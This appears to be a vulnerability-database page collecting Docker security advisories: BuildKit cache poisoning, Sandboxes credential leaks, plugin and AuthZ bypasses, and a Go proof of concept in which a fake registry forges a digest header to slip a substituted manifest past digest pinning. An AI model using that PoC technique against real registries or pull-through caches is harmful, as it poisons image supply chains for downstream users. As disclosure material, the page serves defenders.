See how docker compares to other vendors in security performance
Zammad GmbH Zammad contains a session fixation vulnerability that can lead to remote code execution as the zammad user. This vulnerability can be chained with CVE-2026-102490.
Summary
registry/client.(manifests).Get(ctx, dgst, …) fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (registry/proxy/proxymanifeststore.go) is itself an unguarded consumer and is directly exploitable.
Details
Root cause: registry/client/repository.go:488-505 reads the response body and passes it directly to distribution.UnmarshalManifest without ever computing digest.FromBytes(body) and comparing against the caller-supplied dgst. The Docker-Content-Digest response header is parsed (lines 251-292 in descriptorFromResponse) only to populate an out-parameter (ReturnContentDigest) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.
Attack path: An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to GET /v2/{name}/manifests/{digest} with: 1. Docker-Content-Digest: <requested-digest> (forged header) 2. A body containing a different, attacker-chosen manifest
The client calls distribution.UnmarshalManifest on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.
Why it matters: The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The registry/proxy/proxymanifeststore.go:42-87 pull-through cache calls remoteManifests.Get(ctx, dgst) and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.
Relevant code path (repository.go, simplified): go // line ~496 func (ms manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) { ... resp, err := ms.client.Get(u) ... body, err := ioutil.ReadAll(resp.Body) // no size limit, no digest check ... m, , err := distribution.UnmarshalManifest(ct, body) // returns attacker bytes return m, err }
PoC
go.mod: module poc
go 1.24.10
require ( github.com/distribution/reference v0.6.0 github.com/docker/distribution v2.8.3+incompatible github.com/opencontainers/go-digest v1.0.0 )
require ( github.com/beorn7/perks v1.0.1 // indirect github.com/docker/go-metrics v0.0.1 // indirect github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect github.com/golang/protobuf v1.3.2 // indirect github.com/gorilla/mux v1.8.1 // indirect github.com/matttproud/golangprotobufextensions v1.0.1 // indirect github.com/opencontainers/image-spec v1.1.1 // indirect github.com/prometheus/clientgolang v1.1.0 // indirect github.com/prometheus/clientmodel v0.0.0-20190129233127-fd36f4220a90 // indirect github.com/prometheus/common v0.6.0 // indirect github.com/prometheus/procfs v0.0.3 // indirect github.com/sirupsen/logrus v1.9.4 // indirect golang.org/x/sys v0.13.0 // indirect )
main.go: go // PoC: registry/client manifests.Get() does not verify the requested digest // against the returned body. A malicious registry (or MITM) can serve // arbitrary content for a digest-pinned manifest reference and the client // will accept it. package main
import ( "context" "fmt" "net/http" "net/http/httptest"
"github.com/distribution/reference" "github.com/docker/distribution/manifest/schema2" "github.com/docker/distribution/registry/client" "github.com/opencontainers/go-digest" )
// A real, "trusted" manifest the user pinned by digest. var trustedManifest = []byte({ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}, "layers": [] })
// A different, attacker-controlled manifest the malicious server returns instead. var evilManifest = []byte({ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"}, "layers": [] })
func main() { pinnedDigest := digest.FromBytes(trustedManifest) evilDigest := digest.FromBytes(evilManifest) fmt.Println("client requests manifest pinned at:", pinnedDigest) fmt.Println("server will instead return content :", evilDigest)
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { // Lie: claim the digest matches what was asked, but serve evil bytes. w.Header().Set("Content-Type", schema2.MediaTypeManifest) w.Header().Set("Docker-Content-Digest", pinnedDigest.String()) w.WriteHeader(200) w.Write(evilManifest) })) defer srv.Close()
name, := reference.WithName("library/alpine") repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport) if err != nil { panic(err) } ms, := repo.Manifests(context.Background())
// Fetch by digest — caller expects content-addressed integrity. m, err := ms.Get(context.Background(), pinnedDigest) if err != nil { fmt.Println("Get error:", err) return } , payload, := m.Payload() got := digest.FromBytes(payload)
if got != pinnedDigest { fmt.Println() fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest") fmt.Println(" requested:", pinnedDigest) fmt.Println(" received :", got) } else { fmt.Println("OK: digest verified") } }
Output (v2.8.3+incompatible): client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
>> BYPASS: client accepted manifest that does NOT match requested digest requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
Impact
Any application that calls registry/client.(manifests).Get() with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled registry/proxy), and any CI/CD tooling that pins images by digest for reproducibility or security.
An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.
Exploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.
Oversized Dockerfile or .dockerignore can exhaust buildkitd memory
An Incorrect Privilege Assignment vulnerability in Docker Hub's account-to-organization conversion feature allowed an authenticated attacker to reassign a personal access token (PAT) they controlled to another Docker Hub user without rotating or revoking the token secret. The unchanged PAT then authenticated to the registry as the recipient and could pull, push, or delete images, within its scopes, in repositories accessible to that user, including organization repositories.
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Docker Buildx. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The ZDI has assigned a CVSS rating of 7.8. The following CVEs are assigned: CVE-2026-93325.
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Docker Buildx. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The ZDI has assigned a CVSS rating of 7.8. The following CVEs are assigned: CVE-2026-93325.
Docker Desktop diagnostics bundles were found to include expired Hub PATs in log output due to error object serialization. This poses a risk of leaking sensitive information in exported diagnostics, especially when access denied errors occurred.
Blind VXLAN injection into encrypted overlay networks from cluster peer
Docker Engine classifies a registry hostname as insecure using an any-match DNS check. loadInsecureRegistries() injects 127.0.0.0/8 and ::1/128 as insecure CIDRs by default. isCIDRMatch resolves all of the hostname's addresses and returns true if a single address is in the insecure CIDR list. Because the transport re-dials the hostname rather than the CIDR-matching address, a DNS answer set of one loopback IP plus a non-loopback attacker IP disables certificate verification and enables HTTP fallback for the registry connection.
Before 4.92.0, Docker Desktop for Windows did not verify the signature of a package supplied to Docker Desktop Installer.exe install -package. An attacker able to provide a crafted package and convince a user to approve the Docker-signed UAC prompt could execute attacker-controlled installer actions as LocalSystem.
Zammad GmbH Zammad contains an improper privilege management vulnerability that can allow the local zammad user to escalate privileges to root. This vulnerability can be chained with CVE-2026-102489.
In a hardened Docker environment, with Enhanced Container Isolation ( ECI https://docs.docker.com/enterprise/security/hardened-desktop/enhanced-container-isolation/ ) enabled, an administrator can utilize the command restrictions feature https://docs.docker.com/enterprise/security/hardened-desktop/enhanced-container-isolation/config/#command-restrictions to restrict commands that a container with a Docker socket mount may issue on that socket. Due to a software bug, the configuration to restrict commands was ignored when passed to ECI, allowing any command to be executed on the socket. This grants excessive privileges by permitting unrestricted access to powerful Docker commands.
The vulnerability affects only Docker Desktop 4.46.0 users that have ECI enabled and are using the Docker socket command restrictions feature. In addition, since ECI restricts mounting the Docker socket into containers by default, it only affects containers which are explicitly allowed by the administrator to mount the Docker socket.
A malicious frontend can submit an LLB definition that causes buildkitd to panic and terminate, interrupting all builds running on that daemon.
A malicious image can advertise DiffIDs from another image while containing different layer contents. In affected versions, BuildKit could use the advertised DiffIDs to derive cache and snapshot identity without validating that they matched the actual layer contents.
If a BuildKit daemon with shared or persistent cache first processes such a malicious image, a later build using the victim image may mount the attacker-controlled layer contents as the base image. This can allow code from the malicious image to run in the victim build, for example by replacing a commonly executed path such as /bin/sh. The attacker-controlled code may read build secrets mounted into the build, access other build resources, alter output artifacts, or hang the build.
The issue affects both regular snapshotters and lazy-pulling snapshotters such as stargz.
A malicious frontend can submit an LLB definition that causes buildkitd to panic and terminate, interrupting all builds running on that daemon.
A build step for a Git source, crafted in a specific way, can bypass some policy validation rules. A malicious build definition can make the repository look like it is coming from a different remote URL than it really is when Git clone is happening. If policy is doing more stricter validation, for example based on commit SHA, commit data, or signatures, then all these validations still apply correctly.
Docker Sandboxes could forward a client-supplied credential alongside a credential injected by the host egress proxy. The proxy removed alternate credentials only when their values matched known sentinel values, so untrusted code in an authorized sandbox could supply an unrecognized credential in another supported authentication header. For affected upstream services, this could authenticate the request to an attacker-controlled account and expose data included in the request.
Docker Sandboxes could fail open while masking credentials in protected proxy responses. When a response-body read returned data together with an error, affected handlers could forward unmasked bytes. Code inside an authorized sandbox could use this to recover host-managed OAuth access and refresh tokens or a derived Anthropic API key intended to remain outside the sandbox.
Docker Sandboxes compared OAuth token-endpoint hostnames case-sensitively when deciding whether to mask managed credential responses, while request routing treated DNS hostnames case-insensitively. Untrusted code inside a sandbox could use a case-variant hostname to reach the genuine provider endpoint while bypassing response masking. If a user completed the OAuth flow, the provider's access and refresh tokens could be returned unmasked to the sandbox, exposing host-managed credentials.
Docker Desktop Installer.exe is vulnerable to DLL hijacking due to insecure DLL search order. The installer searches for required DLLs in the user's Downloads folder before checking system directories, allowing local privilege escalation through malicious DLL placement.This issue affects Docker Desktop: through 4.48.0.
If BuildKit daemon is started with --cdi-disabled it can lead to daemon panic when builds try to use CDI devices. This can happen maliciously or by accident.
An unauthenticated attacker controlling a registry or OCI-layout blob source could provide blob contents that did not match the claimed digest. The resulting snapshot could be cached under that digest and reused by a later victim build, compromising build-input integrity.
When proxy networking with CA injection is enabled, a build can modify its CA bundle before cleanup. This may cause cleanup to block, operate outside the build rootfs, or fail without failing the build.
Docker Buildx Bake does not request the expected fs.read approval for certain filesystem inputs. An untrusted Bake definition can expose a readable file through a pathless secret whose ID is interpreted as a client-side pathname, or consume a local OCI image layout outside the project after entitlement validation checks a different path representation. Users who run untrusted Bake definitions are affected.
On macOS, the virtio-fs host server used by Docker Sandboxes improperly follows symlinks when reopening an unlinked file from a stored path. A malicious guest can replace a parent directory with a symlink, escape the shared workspace, and read or modify arbitrary host files as the VMM user, potentially achieving host code execution.
The guest-to-host Unix-domain socket relay in Docker Sandboxes validates that a socket path is inside an authorized workspace, but later reconnects using the pathname. A malicious guest can replace an intermediate directory with a symlink between validation and connection, causing the host to connect to an arbitrary AFUNIX socket outside the shared workspace. This can expose data or host-side capabilities provided by the targeted socket.
Summary
A security vulnerability has been detected that allows plugins privilege validation to be bypassed during docker plugin install. Due to an error in the daemon's privilege comparison logic, the daemon may incorrectly accept a privilege set that differs from the one approved by the user.
Plugins that request exactly one privilege are also affected, because no comparison is performed at all.
Impact
If plugins are not in use, there is no impact.
When a plugin is installed, the daemon computes the privileges required by the plugin's configuration and compares them with the privileges approved during installation. A malicious plugin can exploit this bug so that the daemon accepts privileges that differ from what was intended to be approved.
Anyone who depends on the plugin installation approval flow as a meaningful security boundary is potentially impacted.
Depending on the privilege set involved, this may include highly sensitive plugin permissions such as broad device access.
For consideration: exploitation still requires a plugin to be installed from a malicious source, and Docker plugins are relatively uncommon. Docker Desktop also does not support plugins.
Workarounds
If unable to update immediately: - Do not install plugins from untrusted sources - Carefully review all privileges requested during docker plugin install - Restrict access to the Docker daemon to trusted parties, following the principle of least privilege - Avoid relying on plugin privilege approval as the only control boundary for sensitive environments
Credits
- Reported by Cody (c@wormhole.guru, PGP 0x9FA5B73E)
A flaw in the bind-propagation option of the Dockerfile RUN --mount instruction allows arbitrary parameters to be passed to the underlying mount command. This issue enables an attacker to mount arbitrary host files into a container during the build process and potentially modify them. SELinux does not provide sufficient defense, as the attacker can specify :z or :Z to relabel the host directory for container access. The vulnerability requires an attacker to have build privileges on the system and can lead to unauthorized access and modification of host files, posing significant security risks.
Summary
A security vulnerability has been detected that allows attackers to bypass authorization plugins (AuthZ) under specific circumstances. The base likelihood of this being exploited is low.
This is an incomplete fix for CVE-2024-41110.
Impact
If you don't use AuthZ plugins, you are not affected.
Using a specially-crafted API request, an attacker could make the Docker daemon forward the request to an authorization plugin without the body. The authorization plugin may allow a request which it would have otherwise denied if the body had been forwarded to it.
Anyone who depends on authorization plugins that introspect the request body to make access control decisions is potentially impacted.
Workarounds
If unable to update immediately: - Avoid using AuthZ plugins that rely on request body inspection for security decisions. - Restrict access to the Docker API to trusted parties, following the principle of least privilege.
Credits
- 1seal / Oleh Konko (@1seal) - Cody (c@wormhole.guru) - Asim Viladi Oglu Manizada (@manizada)
Resources
- CVE-2024-41110 / GHSA-v23v-6jw2-98fq